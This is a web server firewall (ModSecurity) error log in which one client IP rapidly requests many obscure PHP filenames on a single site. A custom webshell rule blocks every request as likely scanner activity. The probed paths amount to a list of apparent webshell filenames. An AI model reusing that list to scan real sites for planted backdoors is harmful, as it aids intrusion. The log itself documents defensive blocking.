[Thu Apr 16 23:07:47.249912 2026] [:error] [pid 57639:tid 57648] [client 4.225.163.126:14300] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws87.php"] [unique_id "aeD7Q6MCQoTw7TsxWukG1QAAAMI"]
[Thu Apr 16 23:07:48.220440 2026] [:error] [pid 57536:tid 57567] [client 4.225.163.126:14322] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws87.php"] [unique_id "aeD7RCQU4faGja6jpDuwLwAAABM"]
[Thu Apr 16 23:07:48.914975 2026] [:error] [pid 57639:tid 57659] [client 4.225.163.126:14367] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aeD7RKMCQoTw7TsxWukG3AAAAM0"]
[Thu Apr 16 23:07:49.667488 2026] [:error] [pid 57639:tid 57654] [client 4.225.163.126:14225] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aeD7RaMCQoTw7TsxWukG4AAAAMg"]
[Thu Apr 16 23:07:51.701073 2026] [:error] [pid 57639:tid 57648] [client 4.225.163.126:14351] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aeD7R6MCQoTw7TsxWukG5QAAAMI"]
[Thu Apr 16 23:07:54.693161 2026] [:error] [pid 57639:tid 57657] [client 4.225.163.126:14385] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "aeD7SqMCQoTw7TsxWukG6AAAAMs"]
[Thu Apr 16 23:07:55.663304 2026] [:error] [pid 57639:tid 57649] [client 4.225.163.126:14368] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r2.php"] [unique_id "aeD7S6MCQoTw7TsxWukG6gAAAMM"]
[Thu Apr 16 23:07:56.531516 2026] [:error] [pid 57536:tid 57549] [client 4.225.163.126:14284] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r2.php"] [unique_id "aeD7TCQU4faGja6jpDuwOQAAAAE"]
[Thu Apr 16 23:07:57.429900 2026] [:error] [pid 57536:tid 57552] [client 4.225.163.126:14297] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r2.php"] [unique_id "aeD7TSQU4faGja6jpDuwPQAAAAQ"]
[Thu Apr 16 23:07:59.058289 2026] [:error] [pid 57538:tid 57604] [client 4.225.163.126:14389] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r2.php"] [unique_id "aeD7T8uMaiEF5SVR2Bf9vwAAAII"]
[Thu Apr 16 23:08:00.652553 2026] [:error] [pid 57537:tid 57599] [client 4.225.163.126:14459] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aeD7UFVQRS8nm73ENAnN5QAAAFg"]
[Thu Apr 16 23:08:02.682649 2026] [:error] [pid 57639:tid 57648] [client 4.225.163.126:14375] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aeD7UqMCQoTw7TsxWukG7wAAAMI"]
[Thu Apr 16 23:08:03.742229 2026] [:error] [pid 57536:tid 57557] [client 4.225.163.126:14332] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aeD7UyQU4faGja6jpDuwXAAAAAk"]
[Thu Apr 16 23:08:05.160542 2026] [:error] [pid 57536:tid 57549] [client 4.225.163.126:14439] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aeD7VSQU4faGja6jpDuwZAAAAAE"]
[Thu Apr 16 23:08:06.587738 2026] [:error] [pid 57639:tid 57653] [client 4.225.163.126:14324] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/006.php"] [unique_id "aeD7VqMCQoTw7TsxWukG8AAAAMc"]
[Thu Apr 16 23:08:07.849251 2026] [:error] [pid 57639:tid 57655] [client 4.225.163.126:14326] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/006.php"] [unique_id "aeD7V6MCQoTw7TsxWukG8gAAAMk"]
[Thu Apr 16 23:08:08.970276 2026] [:error] [pid 57639:tid 57658] [client 4.225.163.126:14435] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/006.php"] [unique_id "aeD7WKMCQoTw7TsxWukG_QAAAMw"]
[Thu Apr 16 23:08:09.987663 2026] [:error] [pid 57537:tid 57576] [client 4.225.163.126:14291] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/006.php"] [unique_id "aeD7WVVQRS8nm73ENAnN6AAAAEE"]
[Thu Apr 16 23:08:10.710889 2026] [:error] [pid 7880:tid 7893] [client 4.225.163.126:14301] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/samll.php"] [unique_id "aeD7Wqaezm4fSGc0yULSgAAAAYg"]
[Thu Apr 16 23:08:11.653031 2026] [:error] [pid 57536:tid 57551] [client 4.225.163.126:14327] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/samll.php"] [unique_id "aeD7WyQU4faGja6jpDuwhgAAAAM"]
[Thu Apr 16 23:08:12.271355 2026] [:error] [pid 7880:tid 7909] [client 4.225.163.126:14222] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/samll.php"] [unique_id "aeD7XKaezm4fSGc0yULSigAAAZg"]
[Thu Apr 16 23:08:13.059679 2026] [:error] [pid 57537:tid 57577] [client 4.225.163.126:14315] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/samll.php"] [unique_id "aeD7XVVQRS8nm73ENAnN6wAAAEI"]
[Thu Apr 16 23:08:13.662732 2026] [:error] [pid 57639:tid 57660] [client 4.225.163.126:14366] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "aeD7XaMCQoTw7TsxWukHAQAAAM4"]
[Thu Apr 16 23:08:14.275542 2026] [:error] [pid 57639:tid 57647] [client 4.225.163.126:14361] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "aeD7XqMCQoTw7TsxWukHAwAAAME"]
[Thu Apr 16 23:08:14.880140 2026] [:error] [pid 57639:tid 57670] [client 4.225.163.126:14302] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "aeD7XqMCQoTw7TsxWukHBwAAANg"]
[Thu Apr 16 23:08:15.831160 2026] [:error] [pid 7880:tid 7907] [client 4.225.163.126:14285] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "aeD7X6aezm4fSGc0yULSkgAAAZY"]
[Thu Apr 16 23:08:16.584263 2026] [:error] [pid 57538:tid 57617] [client 4.225.163.126:14440] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeD7YMuMaiEF5SVR2Bf9wgAAAI8"]
[Thu Apr 16 23:08:17.193944 2026] [:error] [pid 49094:tid 49111] [client 4.225.163.126:14234] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeD7YTbDwvcXorHR_MwkKgAAAU8"]
[Thu Apr 16 23:08:17.820146 2026] [:error] [pid 7880:tid 7887] [client 4.225.163.126:14410] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeD7Yaaezm4fSGc0yULSlQAAAYI"]
[Thu Apr 16 23:08:18.479549 2026] [:error] [pid 49094:tid 49100] [client 4.225.163.126:14411] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeD7YjbDwvcXorHR_MwkMgAAAUQ"]
[Thu Apr 16 23:08:19.468097 2026] [:error] [pid 7880:tid 7899] [client 4.225.163.126:14442] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aeD7Y6aezm4fSGc0yULSlgAAAY4"]
[Thu Apr 16 23:08:20.438142 2026] [:error] [pid 57639:tid 57659] [client 4.225.163.126:14311] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aeD7ZKMCQoTw7TsxWukHDQAAAM0"]
[Thu Apr 16 23:08:21.235442 2026] [:error] [pid 57639:tid 57666] [client 4.225.163.126:14295] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aeD7ZaMCQoTw7TsxWukHEQAAANQ"]
[Thu Apr 16 23:08:22.103348 2026] [:error] [pid 57536:tid 57558] [client 4.225.163.126:14273] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aeD7ZiQU4faGja6jpDuwsQAAAAo"]
[Thu Apr 16 23:08:22.836992 2026] [:error] [pid 57536:tid 57549] [client 4.225.163.126:14275] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gz.php"] [unique_id "aeD7ZiQU4faGja6jpDuwtgAAAAE"]
[Thu Apr 16 23:08:23.579825 2026] [:error] [pid 29603:tid 29615] [client 4.225.163.126:14223] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gz.php"] [unique_id "aeD7Z1fGOR6fpTWUAzq3IgAAAQo"]
[Thu Apr 16 23:08:24.385438 2026] [:error] [pid 57639:tid 57667] [client 4.225.163.126:14282] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gz.php"] [unique_id "aeD7aKMCQoTw7TsxWukHFgAAANU"]
[Thu Apr 16 23:08:25.335940 2026] [:error] [pid 49094:tid 49115] [client 4.225.163.126:14210] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gz.php"] [unique_id "aeD7aTbDwvcXorHR_MwkOQAAAVM"]
[Thu Apr 16 23:08:26.392187 2026] [:error] [pid 29603:tid 29612] [client 4.225.163.126:14298] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gelio1.php"] [unique_id "aeD7alfGOR6fpTWUAzq3JwAAAQc"]
[Thu Apr 16 23:08:27.465457 2026] [:error] [pid 57639:tid 57651] [client 4.225.163.126:14383] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gelio1.php"] [unique_id "aeD7a6MCQoTw7TsxWukHHAAAAMU"]
[Thu Apr 16 23:08:29.017420 2026] [:error] [pid 57537:tid 57596] [client 4.225.163.126:14386] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gelio1.php"] [unique_id "aeD7bVVQRS8nm73ENAnN7QAAAFU"]
[Thu Apr 16 23:08:30.065559 2026] [:error] [pid 49094:tid 49118] [client 4.225.163.126:14399] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gelio1.php"] [unique_id "aeD7bjbDwvcXorHR_MwkSAAAAVY"]
[Thu Apr 16 23:08:30.652821 2026] [:error] [pid 7880:tid 7895] [client 4.225.163.126:14280] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/areak1.php"] [unique_id "aeD7bqaezm4fSGc0yULSswAAAYo"]
[Thu Apr 16 23:08:31.307032 2026] [:error] [pid 57639:tid 57668] [client 4.225.163.126:14312] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/areak1.php"] [unique_id "aeD7b6MCQoTw7TsxWukHLAAAANY"]
[Thu Apr 16 23:08:32.170544 2026] [:error] [pid 57639:tid 57664] [client 4.225.163.126:14211] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/areak1.php"] [unique_id "aeD7cKMCQoTw7TsxWukHLwAAANI"]
[Thu Apr 16 23:08:33.030184 2026] [:error] [pid 57536:tid 57568] [client 4.225.163.126:14283] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/areak1.php"] [unique_id "aeD7cSQU4faGja6jpDuw5AAAABQ"]
[Thu Apr 16 23:08:33.883179 2026] [:error] [pid 7880:tid 7897] [client 4.225.163.126:14317] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qqa.php"] [unique_id "aeD7caaezm4fSGc0yULStwAAAYw"]
[Thu Apr 16 23:08:34.598791 2026] [:error] [pid 57639:tid 57654] [client 4.225.163.126:14274] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qqa.php"] [unique_id "aeD7cqMCQoTw7TsxWukHQAAAAMg"]
[Thu Apr 16 23:08:35.822890 2026] [:error] [pid 29603:tid 29623] [client 4.225.163.126:14231] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qqa.php"] [unique_id "aeD7c1fGOR6fpTWUAzq3MwAAARI"]
[Thu Apr 16 23:08:37.204492 2026] [:error] [pid 57639:tid 57667] [client 4.225.163.126:14387] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qqa.php"] [unique_id "aeD7daMCQoTw7TsxWukHWgAAANU"]
[Thu Apr 16 23:08:37.894796 2026] [:error] [pid 7880:tid 7895] [client 4.225.163.126:14423] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeD7daaezm4fSGc0yULSvgAAAYo"]
[Thu Apr 16 23:08:38.472138 2026] [:error] [pid 7880:tid 7900] [client 4.225.163.126:14303] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeD7dqaezm4fSGc0yULSwQAAAY8"]
[Thu Apr 16 23:08:39.123958 2026] [:error] [pid 7880:tid 7908] [client 4.225.163.126:14281] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeD7d6aezm4fSGc0yULSxwAAAZc"]
[Thu Apr 16 23:08:39.785019 2026] [:error] [pid 49094:tid 49100] [client 4.225.163.126:14293] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeD7dzbDwvcXorHR_MwkTQAAAUQ"]
[Thu Apr 16 23:08:41.004139 2026] [:error] [pid 57639:tid 57648] [client 4.225.163.126:14307] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ga.php"] [unique_id "aeD7eaMCQoTw7TsxWukHaAAAAMI"]
[Thu Apr 16 23:08:42.130421 2026] [:error] [pid 57639:tid 57656] [client 4.225.163.126:14364] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ga.php"] [unique_id "aeD7eqMCQoTw7TsxWukHagAAAMo"]
